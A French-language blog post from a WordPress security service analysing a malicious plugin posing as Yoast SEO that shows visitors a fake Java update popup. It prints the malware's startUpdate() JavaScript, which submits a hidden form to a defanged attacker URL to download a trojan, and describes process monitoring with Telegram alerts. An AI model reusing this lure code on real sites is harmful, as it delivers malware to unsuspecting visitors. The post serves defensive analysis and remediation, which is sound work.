Je viens de résoudre un problème pour un client qui se plaignait d’une fenêtre contextuelle persistante et inquiétante intitulée « Mise à jour Java » sur son site WordPress. Ce type de notification trompeuse est une tactique courante utilisée par les attaquants pour compromettre les visiteurs d’un site. Mon enquête a révélé la présence d’un plugin malveillant opérant discrètement dans leur environnement WordPress. Les utilisateurs de WordPress doivent donc rester vigilants face à ce genre d’intrusions. Une alerte sur le plugin WordPress malveillant a été nécessaire pour alerter les propriétaires de sites sur ce danger croissant. Après avoir supprimé le plugin malveillant, des vérifications approfondies ont été effectuées pour s’assurer que d’autres failles de sécurité n’étaient pas présentes.
Qu’avons-nous découvert ?
Un plugin installé dans le répertoire /wp-content/plugins/contact-form/ se faisait passer pour « Yoast SEO », avec des métadonnées falsifiées pour tromper les propriétaires du site. Cependant, son but était tout autre.
Le plugin injectait un énorme bloc JavaScript en ligne dans la balise <head> de chaque page, mais uniquement pour les utilisateurs non administrateurs. Ce script simulait une mise à jour Java avec des visuels, une barre de progression et du texte localisé. Il incluait également un formulaire caché qui soumettait des données d’interaction utilisateur et déclenchait un téléchargement depuis un domaine tiers suspect.
La fenêtre contextuelle n’était pas une notification système légitime ; elle était injectée dans le code du site, soigneusement conçue pour imiter les invites de mise à jour de logiciels officiels. L’objectif principal de cette fenêtre contextuelle était de tromper les visiteurs pour qu’ils téléchargent et exécutent un fichier malveillant, généralement un fichier exécutable [Nom-aléatoire].exe.
Où l’infection a-t-elle été trouvée ?
- Emplacement :
/wp-content/plugins/contact-form/ - Fichier : Le fichier PHP principal du plugin (probablement
contact-form.phpou similaire) - Vecteur de détection : Une fausse fenêtre modale de mise à jour Java visible pour les visiteurs du site sur le frontend, surtout sur les appareils Windows.
Analyse du code malveillant
Dissimilation du Plugin
Un aspect crucial de la conception de ce plugin malveillant était sa tentative de discrétion et de persistance. Une fois activé, le plugin mettait en œuvre un mécanisme pour se cacher de la liste standard des plugins WordPress affichée dans le tableau de bord d’administration. Cela rendait la détection et la suppression beaucoup plus difficiles pour les administrateurs du site.
Tromperie Front-End (Fenêtre contextuelle de mise à jour Java)
Le cœur de l’attaque réside dans la présentation d’une fausse fenêtre contextuelle de « mise à jour Java » aux visiteurs du site, principalement ceux qui ne sont pas connectés en tant qu’administrateurs.
Fonctionnalité JavaScript pour la Fenêtre Contextuelle
Le JavaScript injecté crée et gère la fausse fenêtre contextuelle de mise à jour Java :
- La fenêtre contextuelle est appelée au chargement de la page et inclut plusieurs vérifications pour déterminer si elle doit être affichée. L’une des vérifications garantit qu’elle évite de s’afficher sur les appareils mobiles, macOS ou les navigateurs Safari, probablement pour cibler une base d’utilisateurs spécifique (utilisateurs Windows) où l’exécutable malveillant est destiné à s’exécuter.
Téléchargement et Exécution Malveillants
La partie la plus critique est la fonction startUpdate(), qui initie le téléchargement du fichier malveillant.
window.startUpdate = function() {
const progressBar = document.querySelector('.progress-bar');
const progress = document.querySelector('.progress');
const downloadIndicator = document.querySelector('.download-indicator');
if (progressBar && progress) {
progressBar.style.display = 'block';
downloadIndicator.style.display = 'block';
progress.style.cssText = 'width: 0% !important';
let width = 0;
const interval = setInterval(() => {
if (width >= 100) {
clearInterval(interval);
} else {
width += 1;
progress.style.cssText = `width: ${width}% !important;`;
}
}, 50);
const form = document.createElement('form');
form.method = 'POST';
form.action = 'hxxps://2sopot[.]pl/dw4.php'; // URL de téléchargement malveillant
form.style.display = 'none';
document.body.appendChild(form);
jQuery.ajax({
url: window.javaUpdateAjax.ajaxurl,
type: 'POST',
data: {
action: 'notify_download',
nonce: window.javaUpdateAjax.nonce
}
});
setTimeout(() => {
form.submit(); // Déclenche le téléchargement
checkNewProcesses();
}, 100);
setTimeout(function() {
closePopupAndSetCookie();
}, 50000);
}
};
Le formulaire HTML caché est créé et soumis, ce qui amène le navigateur à initier le téléchargement. Le plugin surveille activement le système de l’utilisateur pour l’exécution du fichier malveillant téléchargé et envoie des notifications à l’attaquant.
Le fichier est détecté comme Hacktool/trojan par 13 fournisseurs de sécurité sur VirusTotal. Au moment de la rédaction de cet article, 13 sites Web sont infectés par cette fenêtre contextuelle malveillante.
Gestion des Sessions et des Cookies
Le plugin utilise des sessions et des cookies pour suivre les interactions des utilisateurs et empêcher les fenêtres contextuelles répétitives.
La fonction java_update_set_cookie() définit un cookie nommé java_update_downloaded pour 30 jours et définit également une variable de session $_SESSION['java_file_downloaded'] sur true. Cela se fait après que le processus de « mise à jour » est initié ou terminé, empêchant la fenêtre contextuelle de réapparaître pour le même utilisateur pendant une période.
Surveillance Post-Téléchargement et Exfiltration
Le plugin surveille activement le système de l’utilisateur pour l’exécution du fichier malveillant téléchargé et envoie des notifications à l’attaquant. Une fonction JavaScript effectue à plusieurs reprises un appel AJAX à l’action serveur check_new_process pour déterminer si un nouveau processus a démarré sur le système de l’utilisateur.
Il exécute la commande tasklist /FO CSV pour obtenir une liste des processus en cours d’exécution et stocke la liste initiale des processus dans la session PHP de l’utilisateur. Lors des appels suivants, il compare la liste actuelle des processus avec la base initiale. S’ils diffèrent, cela signifie qu’un nouveau processus a démarré, et cela déclenche une notification Telegram à l’attaquant.
Le malware recherche spécifiquement l’exécution de processus avec des préfixes prédéfinis, y compris le connu malveillant SSADownloadJava et ScreenConnect.WindowsClient (un outil d’accès à distance légitime souvent abusé par les attaquants).
Il utilise tasklist sur Windows et ps aux sur Linux/macOS pour vérifier ces processus. Si un processus correspondant à l’un des préfixes est trouvé, une notification Telegram est envoyée.
Impact du Malware
Ce malware a un impact sévère à la fois sur les visiteurs du site et sur les propriétaires : les visiteurs font face à des risques immédiats de compromission du système, de vol de données et d’enrôlement potentiel dans des botnets après avoir été trompés pour télécharger un logiciel malveillant, tandis que leurs données de navigation personnelles sont également exfiltrées vers les attaquants. Pour les propriétaires de sites, le plugin caché entraîne des dommages réputationnels significatifs, un possible blacklistage par les moteurs de recherche, une perte de trafic et de confiance des utilisateurs, et des coûts considérables associés à la détection et au nettoyage de l’infection furtive.
Conseils de Remédiation et de Prévention
Pour protéger votre site WordPress contre des malwares sophistiqués comme cette fausse mise à jour Java, concentrez-vous sur ces pratiques clés : Assurez-vous de toujours maintenir votre WordPress à jour, car les mises à jour régulières corrigent les vulnérabilités susceptibles d’être exploitées par les hackers. Évitez également d’installer des plugins ou des thèmes provenant de sources non fiables, car ils peuvent contenir du malware sur WordPress à éviter. Enfin, renforcez la sécurité de votre site en mettant en place des sauvegardes régulières et en utilisant des mesures de sécurité supplémentaires, comme un pare-feu.
- Gardez tout à jour : Exécutez toujours les dernières versions de WordPress, des thèmes et des plugins pour corriger les vulnérabilités de sécurité.
- Utilisez des sources réputées : Téléchargez uniquement des thèmes et des plugins à partir de répertoires officiels ou de développeurs de confiance pour éviter les malwares intégrés.
- Identifiants forts et 2FA : Utilisez des mots de passe uniques et complexes pour tous les comptes et activez l’authentification à deux facteurs (2FA) chaque fois que possible.
- Employez un WAF : Un pare-feu d’application Web (WAF) bloque le trafic malveillant avant qu’il n’atteigne votre site, agissant comme une première ligne de défense cruciale.
- Scans de malware réguliers : Scannez régulièrement votre site Web pour détecter les malwares et les modifications non autorisées afin de détecter les infections tôt.
- Maintenez des sauvegardes : Conservez des sauvegardes à jour et sécurisées de l’ensemble de votre site pour une récupération rapide en cas d’infection.
En tant qu’experts en réparation d’urgence WordPress, nous proposons une analyse complète, le nettoyage des malwares, la suppression des backdoors et le renforcement de la sécurité. Notre service de maintenance inclut l’installation d’antivirus, les mises à jour régulières, les sauvegardes et une surveillance 24/7, avec option d’hébergement Premium en France. Pour optimiser votre visibilité en ligne, nous offrons des services d’optimisation SEO technique, de stratégie éditoriale et de création de contenus ciblés.
Conclusion
La fausse mise à jour Java via un plugin « Contact Form » déguisé met en lumière la nature rusée des menaces cybernétiques modernes. Les attaquants évoluent constamment dans leurs méthodes, utilisant la tromperie et la discrétion pour compromettre les sites Web et leurs visiteurs. Avec son faux branding, son camouflage administratif et ses tactiques de social engineering convaincantes, cette infection était clairement conçue pour opérer en arrière-plan et exploiter les utilisateurs finaux sans attirer l’attention.
Si vous voyez des fenêtres contextuelles suspectes, des téléchargements non autorisés ou un comportement de plugin que vous ne reconnaissez pas, n’attendez pas. La détection précoce est essentielle pour arrêter les malwares avant qu’ils ne causent des dommages plus importants.
Chez SécuritéWP, nous sommes spécialisés dans la détection et la neutralisation des menaces les plus profondément cachées sur les sites Web. Si vous avez besoin d’aide pour nettoyer un site WordPress infecté, notre équipe est disponible 24/7 pour vous assister.
Benjamin Bueno, Expert en Sécurité WordPress chez SécuritéWP





